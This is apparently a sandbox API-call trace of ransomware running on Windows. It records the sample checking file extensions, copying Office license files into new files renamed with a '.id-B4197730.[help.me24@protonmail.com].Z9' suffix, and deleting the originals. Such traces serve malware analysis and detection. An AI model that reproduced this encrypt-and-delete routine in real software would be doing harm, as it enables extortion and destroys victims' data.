	[0174.145] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString=".xlsx") returned 5
	[0174.145] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.145] lstrlenW (lpString=".ppt") returned 4
	[0174.145] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString=".zip") returned 4
	[0174.145] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString=".rar") returned 4
	[0174.145] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString=".bz2") returned 4
	[0174.145] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString=".7z") returned 3
	[0174.145] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.145] lstrlenW (lpString=".dbf") returned 4
	[0174.145] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.146] lstrlenW (lpString=".1cd") returned 4
	[0174.146] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0174.146] lstrlenW (lpString=".jpg") returned 4
	[0174.146] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.146] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0174.146] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26
	[0174.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0174.147] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11581) returned 1
	[0174.147] CloseHandle (hObject=0x548) returned 1
	[0174.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0174.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0174.362] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.362] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.363] GetLastError () returned 0x0
	[0174.363] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d3d, lpOverlapped=0x0) returned 1
	[0174.414] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0174.415] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.415] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x108, lpOverlapped=0x0) returned 1
	[0174.415] SetEndOfFile (hFile=0x530) returned 1
	[0174.415] CloseHandle (hObject=0x530) returned 1
	[0174.416] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.416] SetEndOfFile (hFile=0x548) returned 1
	[0174.419] CloseHandle (hObject=0x548) returned 1
	[0174.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1
	[0174.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.420] lstrlenW (lpString=".doc") returned 4
	[0174.420] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.420] lstrlenW (lpString=".docx") returned 5
	[0174.420] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.420] lstrlenW (lpString=".pdf") returned 4
	[0174.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.420] lstrlenW (lpString=".xls") returned 4
	[0174.420] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.420] lstrlenW (lpString=".xlsx") returned 5
	[0174.420] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.420] lstrlenW (lpString=".ppt") returned 4
	[0174.420] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.420] lstrlenW (lpString=".zip") returned 4
	[0174.421] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString=".rar") returned 4
	[0174.421] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString=".bz2") returned 4
	[0174.421] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString=".7z") returned 3
	[0174.421] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.421] lstrlenW (lpString=".dbf") returned 4
	[0174.421] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.421] lstrlenW (lpString=".1cd") returned 4
	[0174.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.421] lstrlenW (lpString=".jpg") returned 4
	[0174.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.421] lstrlenW (lpString=".doc") returned 4
	[0174.421] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString=".docx") returned 5
	[0174.421] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.421] lstrlenW (lpString=".pdf") returned 4
	[0174.421] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString=".xls") returned 4
	[0174.421] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString=".xlsx") returned 5
	[0174.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.421] lstrlenW (lpString=".ppt") returned 4
	[0174.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.421] lstrlenW (lpString=".zip") returned 4
	[0174.422] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.422] lstrlenW (lpString=".rar") returned 4
	[0174.422] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.422] lstrlenW (lpString=".bz2") returned 4
	[0174.422] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.422] lstrlenW (lpString=".7z") returned 3
	[0174.422] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.422] lstrlenW (lpString=".dbf") returned 4
	[0174.422] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.422] lstrlenW (lpString=".1cd") returned 4
	[0174.422] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0174.422] lstrlenW (lpString=".jpg") returned 4
	[0174.422] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.422] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0174.422] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26
	[0174.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0174.424] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=19926) returned 1
	[0174.424] CloseHandle (hObject=0x548) returned 1
	[0174.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0174.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0174.425] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.425] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.426] GetLastError () returned 0x0
	[0174.426] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4dd6, lpOverlapped=0x0) returned 1
	[0174.434] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0174.436] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.436] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x108, lpOverlapped=0x0) returned 1
	[0174.436] SetEndOfFile (hFile=0x530) returned 1
	[0174.439] CloseHandle (hObject=0x530) returned 1
	[0174.439] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.439] SetEndOfFile (hFile=0x548) returned 1
	[0175.211] CloseHandle (hObject=0x548) returned 1
	[0175.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1
	[0175.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.212] lstrlenW (lpString=".doc") returned 4
	[0175.212] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.212] lstrlenW (lpString=".docx") returned 5
	[0175.212] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.212] lstrlenW (lpString=".pdf") returned 4
	[0175.212] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.212] lstrlenW (lpString=".xls") returned 4
	[0175.212] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.212] lstrlenW (lpString=".xlsx") returned 5
	[0175.212] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.213] lstrlenW (lpString=".ppt") returned 4
	[0175.213] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.213] lstrlenW (lpString=".zip") returned 4
	[0175.213] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString=".rar") returned 4
	[0175.213] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString=".bz2") returned 4
	[0175.213] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString=".7z") returned 3
	[0175.213] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.213] lstrlenW (lpString=".dbf") returned 4
	[0175.213] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.213] lstrlenW (lpString=".1cd") returned 4
	[0175.213] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.213] lstrlenW (lpString=".jpg") returned 4
	[0175.213] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.213] lstrlenW (lpString=".doc") returned 4
	[0175.213] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString=".docx") returned 5
	[0175.213] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.213] lstrlenW (lpString=".pdf") returned 4
	[0175.213] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString=".xls") returned 4
	[0175.213] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString=".xlsx") returned 5
	[0175.213] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.213] lstrlenW (lpString=".ppt") returned 4
	[0175.213] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.214] lstrlenW (lpString=".zip") returned 4
	[0175.214] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.214] lstrlenW (lpString=".rar") returned 4
	[0175.214] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.214] lstrlenW (lpString=".bz2") returned 4
	[0175.214] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.214] lstrlenW (lpString=".7z") returned 3
	[0175.214] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.214] lstrlenW (lpString=".dbf") returned 4
	[0175.214] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.214] lstrlenW (lpString=".1cd") returned 4
	[0175.214] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0175.214] lstrlenW (lpString=".jpg") returned 4
	[0175.214] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.214] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.214] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27
	[0175.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.217] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3380) returned 1
	[0175.217] CloseHandle (hObject=0x548) returned 1
	[0175.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220
	[0175.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0175.217] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.218] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0175.219] GetLastError () returned 0x0
	[0175.219] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0xd34, lpOverlapped=0x0) returned 1
	[0175.221] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0175.221] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.222] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0175.222] SetEndOfFile (hFile=0x444) returned 1
	[0175.222] CloseHandle (hObject=0x444) returned 1
	[0175.222] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.222] SetEndOfFile (hFile=0x548) returned 1
	[0175.228] CloseHandle (hObject=0x548) returned 1
	[0175.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.229] lstrlenW (lpString=".doc") returned 4
	[0175.229] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.229] lstrlenW (lpString=".docx") returned 5
	[0175.229] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.229] lstrlenW (lpString=".pdf") returned 4
	[0175.229] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.229] lstrlenW (lpString=".xls") returned 4
	[0175.229] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.229] lstrlenW (lpString=".xlsx") returned 5
	[0175.229] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.229] lstrlenW (lpString=".ppt") returned 4
	[0175.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.230] lstrlenW (lpString=".zip") returned 4
	[0175.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString=".rar") returned 4
	[0175.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString=".bz2") returned 4
	[0175.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString=".7z") returned 3
	[0175.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.230] lstrlenW (lpString=".dbf") returned 4
	[0175.230] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.230] lstrlenW (lpString=".1cd") returned 4
	[0175.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0175.230] lstrlenW (lpString=".jpg") returned 4
	[0175.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
